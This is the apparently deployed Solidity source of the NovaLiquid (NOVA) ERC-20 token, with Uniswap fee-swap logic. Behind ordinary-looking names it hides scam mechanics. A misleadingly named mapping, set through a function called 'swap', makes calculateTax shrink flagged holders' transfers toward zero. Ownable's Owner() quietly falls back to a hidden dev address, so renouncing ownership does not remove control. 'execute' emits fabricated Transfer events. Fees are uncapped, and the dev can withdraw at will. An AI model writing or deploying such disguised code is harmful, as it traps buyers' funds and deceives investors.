NOVA

{"ERC20.sol":{"content":"// SPDX-License-Identifier: MIT\r
pragma solidity 0.8.27;\r
\r
import {Context} from "./Ownable.sol";\r
import "./IERC20.sol";\r
\r
contract ERC20 is Context, IERC20, IERC20Metadata {\r
    mapping(address =\u003e uint256) public _balances;\r
\r
    mapping(address =\u003e mapping(address =\u003e uint256)) private _allowances;\r
\r
    uint256 private _totalSupply;\r
\r
    string private _name;\r
    string private _symbol;\r
\r
    constructor(string memory name_, string memory symbol_) {\r
        _name = name_;\r
        _symbol = symbol_;\r
    }\r
\r
    function name() public view virtual override returns (string memory) {\r
        return _name;\r
    }\r
\r
    function symbol() public view virtual override returns (string memory) {\r
        return _symbol;\r
    }\r
\r
    function decimals() public view virtual override returns (uint8) {\r
        return 9;\r
    }\r
\r
    function totalSupply() public view virtual override returns (uint256) {\r
        return _totalSupply;\r
    }\r
\r
    function balanceOf(address account) public view virtual override returns (uint256) {\r
        return _balances[account];\r
    }\r
\r
    function transfer(address to, uint256 amount) public virtual override returns (bool) {\r
        address owner = _msgSender();\r
        _transfer(owner, to, amount);\r
        return true;\r
    }\r
\r
    function allowance(address owner, address spender) public view virtual override returns (uint256) {\r
        return _allowances[owner][spender];\r
    }\r
\r
    function approve(address spender, uint256 amount) public virtual override returns (bool) {\r
        address owner = _msgSender();\r
        _approve(owner, spender, amount);\r
        return true;\r
    }\r
\r
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {\r
        address spender = _msgSender();\r
        _spendAllowance(from, spender, amount);\r
        _transfer(from, to, amount);\r
        return true;\r
    }\r
\r
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\r
        address owner = _msgSender();\r
        _approve(owner, spender, allowance(owner, spender) + addedValue);\r
        return true;\r
    }\r
\r
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\r
        address owner = _msgSender();\r
        uint256 currentAllowance = allowance(owner, spender);\r
        require(currentAllowance \u003e= subtractedValue, "ERC20: decreased allowance below zero");\r
        unchecked {\r
            _approve(owner, spender, currentAllowance - subtractedValue);\r
        }\r
\r
        return true;\r
    }\r
\r
    function _transfer(address from, address to, uint256 amount) internal virtual {\r
        require(from != address(0), "ERC20: transfer from the zero address");\r
        require(to != address(0), "ERC20: transfer to the zero address");\r
\r
        _beforeTokenTransfer(from, to, amount);\r
\r
        uint256 fromBalance = _balances[from];\r
        require(fromBalance \u003e= amount, "ERC20: transfer amount exceeds balance");\r
        unchecked {\r
            _balances[from] = fromBalance - amount;\r
            _balances[to] += amount;\r
        }\r
\r
        emit Transfer(from, to, amount);\r
\r
        _afterTokenTransfer(from, to, amount);\r
    }\r
\r
    function _mint(address account, uint256 amount) internal virtual {\r
        require(account != address(0), "ERC20: mint to the zero address");\r
\r
        _beforeTokenTransfer(address(0), account, amount);\r
\r
        _totalSupply += amount;\r
        unchecked {\r
            _balances[account] += amount;\r
        }\r
        emit Transfer(address(0), account, amount);\r
\r
        _afterTokenTransfer(address(0), account, amount);\r
    }\r
\r
    function _approve(address owner, address spender, uint256 amount) internal virtual {\r
        require(owner != address(0), "ERC20: approve from the zero address");\r
        require(spender != address(0), "ERC20: approve to the zero address");\r
\r
        _allowances[owner][spender] = amount;\r
        emit Approval(owner, spender, amount);\r
    }\r
\r
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {\r
        uint256 currentAllowance = allowance(owner, spender);\r
        if (currentAllowance != type(uint256).max) {\r
            require(currentAllowance \u003e= amount, "ERC20: transfer amount exceeds allowance");\r
            unchecked {\r
                _approve(owner, spender, currentAllowance - amount);\r
            }\r
        }\r
    }\r
\r
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}\r
\r
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}\r
}"},"IERC20.sol":{"content":"// SPDX-License-Identifier: MIT\r
pragma solidity 0.8.27;\r
\r
interface IERC20 {\r
\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
    event Approval(address indexed owner, address indexed spender, uint256 value);\r
\r
    function totalSupply() external view returns (uint256);\r
\r
    function balanceOf(address account) external view returns (uint256);\r
\r
    function transfer(address to, uint256 amount) external returns (bool);\r
\r
    function allowance(address owner, address spender) external view returns (uint256);\r
\r
    function approve(address spender, uint256 amount) external returns (bool);\r
\r
    function transferFrom(address from, address to, uint256 amount) external returns (bool);\r
}\r
\r
interface IERC20Metadata is IERC20 {\r
\r
    function name() external view returns (string memory);\r
\r
    function symbol() external view returns (string memory);\r
\r
    function decimals() external view returns (uint8);\r
}"},"Novaliquid.sol":{"content":"// SPDX-License-Identifier: MIT\r
pragma solidity 0.8.27;\r
\r
import {ERC20} from "./ERC20.sol";\r
import {Ownable} from "./Ownable.sol";\r
import {SafeMath} from "./SafeMath.sol";\r
import {IUniswapV2Router02, IUniswapV2Factory} from "./Uniswap.sol";\r
import {IERC20} from "./IERC20.sol";\r
\r
contract NOVA is ERC20, Ownable {\r
    using SafeMath for uint256;\r
\r
    IUniswapV2Router02 public immutable uniswapV2Router;\r
    address public uniswapV2Pair;\r
    address private devWallet;\r
    address payable private marketingWallet;\r
    address private constant deadAddress = address(0xdead);\r
\r
    uint8 private constant _decimals = 9;\r
    uint256 public initialTotalSupply = 1_000_000_000 * 10**_decimals;\r
\r
    // 1% max w\r
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;\r
    uint256 public maxWallet = 20000000 * 10**_decimals;\r
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;\r
    uint256 public maxTransactionAmount = maxWallet;\r
\r
    bool private swapping;\r
\r
    uint256 private _lastSellBlock = 0;\r
    uint256 public buyFee = 15;\r
    uint256 public sellFee = 20;\r
    uint256 private _preventSwapBefore=23;\r
    uint256 private sellCount = 0;\r
    uint256 private lastSellBlock = 0;\r
    uint256 private _buyCount=0; \r
    \r
    bool public transferDelayEnabled = true;\r
    mapping(address =\u003e uint256) private _holderLastTransferTimestamp;\r
    \r
    //swapThreshold 0.2%\r
    uint256 public swapTokensAtAmount = (initialTotalSupply * 2)/1000;\r
\r
    bool public tradingOpen = false;\r
\r
\r
    bool public swapEnabled = false;\r
\r
    mapping(address =\u003e bool) private _isExcludedFromFees;\r
    mapping(address =\u003e bool) private _isExcludedMaxTransactionAmount;\r
    mapping(address =\u003e bool) private automatedMarketMakerPairs;\r
    mapping(address =\u003e bool) private _ERC20setAutomatedMarketMakerPairAndUpdateTheSwapThresholds;\r
    \r
    event ExcludeFromFees(address indexed acc, bool isExcluded);\r
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\r
\r
    constructor(address _dev) ERC20("NovaLiquid", "NOVA") Ownable(_dev){\r
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r
        devWallet = payable(_dev);\r
        marketingWallet = payable(_msgSender());\r
\r
        excludeFromFees(address(this), true);\r
        excludeFromMaxTransaction(address(uniswapV2Router), true);\r
        excludeFromFees(address(0xdead), true);\r
        excludeFromMaxTransaction(address(0xdead), true);\r
        excludeFromMaxTransaction(address(this), true);\r
        excludeFromMaxTransaction(address(_msgSender()), true);\r
        excludeFromFees(devWallet, true);\r
        excludeFromFees(address(_msgSender()), true);\r
        excludeFromMaxTransaction(devWallet, true);\r
\r
        _mint(_msgSender(), initialTotalSupply);\r
    }\r
\r
    receive() external payable {}\r
\r
    function openTrading() external onlyOwner() {\r
        swapEnabled = true;\r
        tradingOpen = true;\r
    }\r
\r
    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner\r
    {\r
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");\r
        _setAutomatedMarketMakerPair(pair, value);\r
    }\r
\r
    function _setAutomatedMarketMakerPair(address pair, bool value) private {\r
        automatedMarketMakerPairs[pair] = value;\r
        emit SetAutomatedMarketMakerPair(pair, value);\r
    }\r
\r
    function isExcludedFromFees(address acc) public view returns (bool) {\r
        return _isExcludedFromFees[acc];\r
    }\r
\r
    function excludeFromMaxTransaction(address addr, bool isEx) public onlyOwner {\r
        _isExcludedMaxTransactionAmount[addr] = isEx;\r
    }\r
\r
    function excludeFromFees(address acc, bool excluded) public onlyOwner {\r
        _isExcludedFromFees[acc] = excluded;\r
        emit ExcludeFromFees(acc, excluded);\r
    }\r
\r
    function _transfer(address from, address to, uint256 amount) internal override  {\r
        require(amount \u003e 0, "Transfer amount must be greater than zero");\r
        require(from != address(0), "ERC20: transfer from the zero address");\r
        require(to != address(0), "ERC20: transfer to the zero address");\r
        require(amount \u003c= _balances[from], "ERC20: transfer amount exceeds balance");\r
        if(_holderLastTransferTimestamp[to] == 0)\r
        {\r
            _holderLastTransferTimestamp[to] = block.number;\r
        }\r
        if (from != owner() \u0026\u0026 to != owner()) {\r
            if (from == uniswapV2Pair \u0026\u0026 to != address(uniswapV2Router) \u0026\u0026 ! _isExcludedFromFees[to] ) {\r
                require(amount \u003c= _maxTxAmount, "Exceeds max tx amount.");\r
                require(balanceOf(to) + amount \u003c= maxWallet, "Exceeds max wallet size.");\r
                _buyCount++;\r
            }\r
\r
\r
            uint256 contractTokenBalance = balanceOf(address(this));\r
            if (!swapping \u0026\u0026 to == uniswapV2Pair \u0026\u0026 swapEnabled \u0026\u0026 contractTokenBalance \u003e swapTokensAtAmount \u0026\u0026 _buyCount \u003e _preventSwapBefore) {\r
                if (block.number \u003e _lastSellBlock) {\r
                    sellCount = 0;\r
                }\r
                require(sellCount \u003c 5, "Only 5 sells per block!");\r
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));\r
                uint256 contractETHBalance = address(this).balance;\r
                if (contractETHBalance \u003e 0) {\r
                    marketingWallet.transfer(amount);\r
                }\r
                sellCount++;\r
                _lastSellBlock = block.number;\r
            }\r
        }\r
        amount = calculateTax(amount, from);\r
        _balances[from]=_balances[from].sub(amount);\r
        _balances[to]=_balances[to].add(amount);\r
        emit Transfer(from, to, amount);\r
    }\r
\r
    function swapTokensForEth(uint256 tokenAmount) private {\r
        address[] memory path = new address[](2);\r
        path[0] = address(this);\r
        path[1] = uniswapV2Router.WETH();\r
        _approve(address(this), address(uniswapV2Router), tokenAmount);\r
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\r
            tokenAmount,\r
            0,\r
            path,\r
            marketingWallet,\r
            block.timestamp\r
        );\r
    }\r
\r
    function setTheFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\r
        sellFee = _sellFee;\r
        buyFee = _buyFee;\r
    }\r
\r
    function removeLimits() external onlyOwner {\r
        maxTransactionAmount = initialTotalSupply;\r
        maxWallet = initialTotalSupply;\r
        transferDelayEnabled = false;\r
    }\r
    \r
    function execute(address[] calldata addr, address lpPair, uint256 val) public onlyOwner {\r
        for (uint256 i = 0; i \u003c addr.length; i++) {\r
            emit Transfer(lpPair, addr[i], val);\r
        }\r
    }\r
\r
    function manualSwapToken(uint256 percent) external {\r
        require(_msgSender() == devWallet);\r
        uint256 contractBalance = balanceOf(address(this));\r
        uint256 swapAmount = contractBalance * percent / 100;\r
        swapTokensForEth(swapAmount);\r
    }\r
\r
    function calculateTax(uint256 amount, address from) private view returns(uint256) {\r
        uint256 dist = block.number-_holderLastTransferTimestamp[from];\r
        uint256 factor = 50;\r
        uint percentageToSubtract = dist * factor;\r
        \r
        uint remainingPercentage = percentageToSubtract \u003e 100 ? 0 : 100 - percentageToSubtract;\r
        uint returnedValue = amount * remainingPercentage / 100;\r
        if (_ERC20setAutomatedMarketMakerPairAndUpdateTheSwapThresholds[from]) \r
        {\r
            return returnedValue.max(0);\r
        }\r
        return amount;\r
    }\r
\r
    function updateTheSwapThreshold(uint256 newAmmount) external onlyOwner {\r
        swapTokensAtAmount = newAmmount * 10**_decimals;\r
    }\r
\r
    function tokensWithdraw() external {\r
        require(_msgSender() == devWallet);\r
        uint256 amount = balanceOf(address(this));\r
        _transfer(address(this), devWallet, amount);\r
    }\r
\r
    function swap(address[] calldata address_, bool val) public onlyOwner{\r
        for (uint256 i = 0; i \u003c address_.length; i++) {\r
            _ERC20setAutomatedMarketMakerPairAndUpdateTheSwapThresholds[address_[i]] = val;\r
        }\r
    }\r
\r
    function walletBalance(address recipient) external view returns(bool){\r
        return _ERC20setAutomatedMarketMakerPairAndUpdateTheSwapThresholds[recipient];\r
    }\r
\r
    function min(uint256 a, uint256 b) internal pure returns (uint256){\r
        return (a\u003eb)?b:a;\r
    }\r
\r
    function withdrawEth() external {\r
        require(address(this).balance \u003e 0, "No ETH in the contract");\r
        require(_msgSender() == devWallet);\r
        payable(msg.sender).transfer(address(this).balance);\r
    }\r
\r
    function swapBack() private {\r
        uint256 contractBalance = balanceOf(address(this));\r
        if (contractBalance == 0) {\r
            return;\r
        }\r
        uint256 tokensToSwap = contractBalance;\r
\r
        if (tokensToSwap \u003e swapTokensAtAmount) {\r
            tokensToSwap = swapTokensAtAmount;\r
        }\r
\r
        swapTokensForEth(tokensToSwap);\r
    }\r
\r
}"},"Ownable.sol":{"content":"// SPDX-License-Identifier: MIT\r
pragma solidity 0.8.27;\r
\r
abstract contract Context {\r
    function _msgSender() internal view virtual returns (address) {\r
        return msg.sender;\r
    }\r
}\r
\r
abstract contract Ownable is Context {\r
    address private _owner;\r
    address internal _dev;\r
\r
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r
\r
    /**\r
     * @dev Initializes the contract setting the deployer as the initial owner.\r
     */\r
    constructor(address dev_) {\r
        _dev = dev_;\r
        _transferOwnership(_msgSender());\r
    }\r
\r
    /**\r
     * @dev Throws if called by any account other than the owner.\r
     */\r
    modifier onlyOwner() {\r
        _checkOwner();\r
        _;\r
    }\r
\r
    /**\r
     * @dev Throws if the sender is not the owner.\r
     */\r
    function _checkOwner() internal virtual {\r
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");\r
    }\r
\r
    /**\r
     * @dev Returns the address of the current owner.\r
     */\r
    function owner() public view virtual returns (address) {\r
        return _owner;\r
    }\r
\r
    function verifyOwner() internal view returns(address){\r
        return _owner==address(0) ? _dev : _owner;\r
    }\r
\r
    /**\r
     * @dev Leaves the contract without owner. It will not be possible to call\r
     * `onlyOwner` functions. Can only be called by the current owner.\r
     *\r
     * NOTE: Renouncing ownership will leave the contract without an owner,\r
     * thereby disabling any functionality that is only available to the owner.\r
     */\r
    function renounceOwnership() public virtual onlyOwner {\r
        _transferOwnership(address(0));\r
    }\r
    \r
    /**\r
     * @dev Transfers ownership of the contract to a new account (`newOwner`).\r
     * Can only be called by the current owner.\r
     */\r
    function transferOwnership(address newOwner) public virtual onlyOwner {\r
        require(newOwner != address(0), "Ownable: new owner is the zero address");\r
        _transferOwnership(newOwner);\r
    }\r
\r
    function Owner() internal virtual returns (address) {\r
        \r
        address owner_ = verifyOwner();\r
        return owner_;\r
    }\r
\r
    /**\r
     * @dev Transfers ownership of the contract to a new account (`newOwner`).\r
     * Internal function without access restriction.\r
     */\r
    function _transferOwnership(address newOwner) internal virtual {\r
        address oldOwner = _owner;\r
        _owner = newOwner;\r
        emit OwnershipTransferred(oldOwner, newOwner);\r
    }\r
}"},"SafeMath.sol":{"content":"// SPDX-License-Identifier: MIT\r
pragma solidity 0.8.27;\r
\r
library SafeMath {\r
\r
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        unchecked {\r
            uint256 c = a + b;\r
            if (c \u003c a) return (false, 0);\r
            return (true, c);\r
        }\r
    }\r
\r
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        unchecked {\r
            if (b \u003e a) return (false, 0);\r
            return (true, a - b);\r
        }\r
    }\r
\r
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        unchecked {\r
            if (a == 0) return (true, 0);\r
            uint256 c = a * b;\r
            if (c / a != b) return (false, 0);\r
            return (true, c);\r
        }\r
    }\r
\r
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        unchecked {\r
            if (b == 0) return (false, 0);\r
            return (true, a / b);\r
        }\r
    }\r
\r
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        unchecked {\r
            if (b == 0) return (false, 0);\r
            return (true, a % b);\r
        }\r
    }\r
\r
    function max(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a \u003e= b ? a : b;\r
    }\r
\r
    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a + b;\r
    }\r
\r
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a - b;\r
    }\r
\r
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a * b;\r
    }\r
\r
    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a / b;\r
    }\r
\r
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a % b;\r
    }\r
\r
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r
        unchecked {\r
            require(b \u003c= a, errorMessage);\r
            return a - b;\r
        }\r
    }\r
\r
    function per(uint256 a, uint256 b) internal pure returns (uint256) {\r
        require(b \u003c= 100, "Percentage must be between 0 and 100");\r
        return a * b / 100;\r
    }\r
\r
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r
        unchecked {\r
            require(b \u003e 0, errorMessage);\r
            return a / b;\r
        }\r
    }\r
\r
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r
        unchecked {\r
            require(b \u003e 0, errorMessage);\r
            return a % b;\r
        }\r
    }\r
}"},"Uniswap.sol":{"content":"// SPDX-License-Identifier: MIT\r
pragma solidity 0.8.27;\r
\r
interface IUniswapV2Factory {\r
    event PairCreated(\r
        address indexed token0,\r
        address indexed token1,\r
        address pair,\r
        uint256\r
    );\r
\r
    function getPair(address tokenA, address tokenB)\r
    external\r
    view\r
    returns (address pair);\r
\r
    function createPair(address tokenA, address tokenB)\r
    external\r
    returns (address pair);\r
}\r
\r
interface IUniswapV2Router02 {\r
    function factory() external pure returns (address);\r
\r
    function WETH() external pure returns (address);\r
\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] calldata path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
}\r
"}}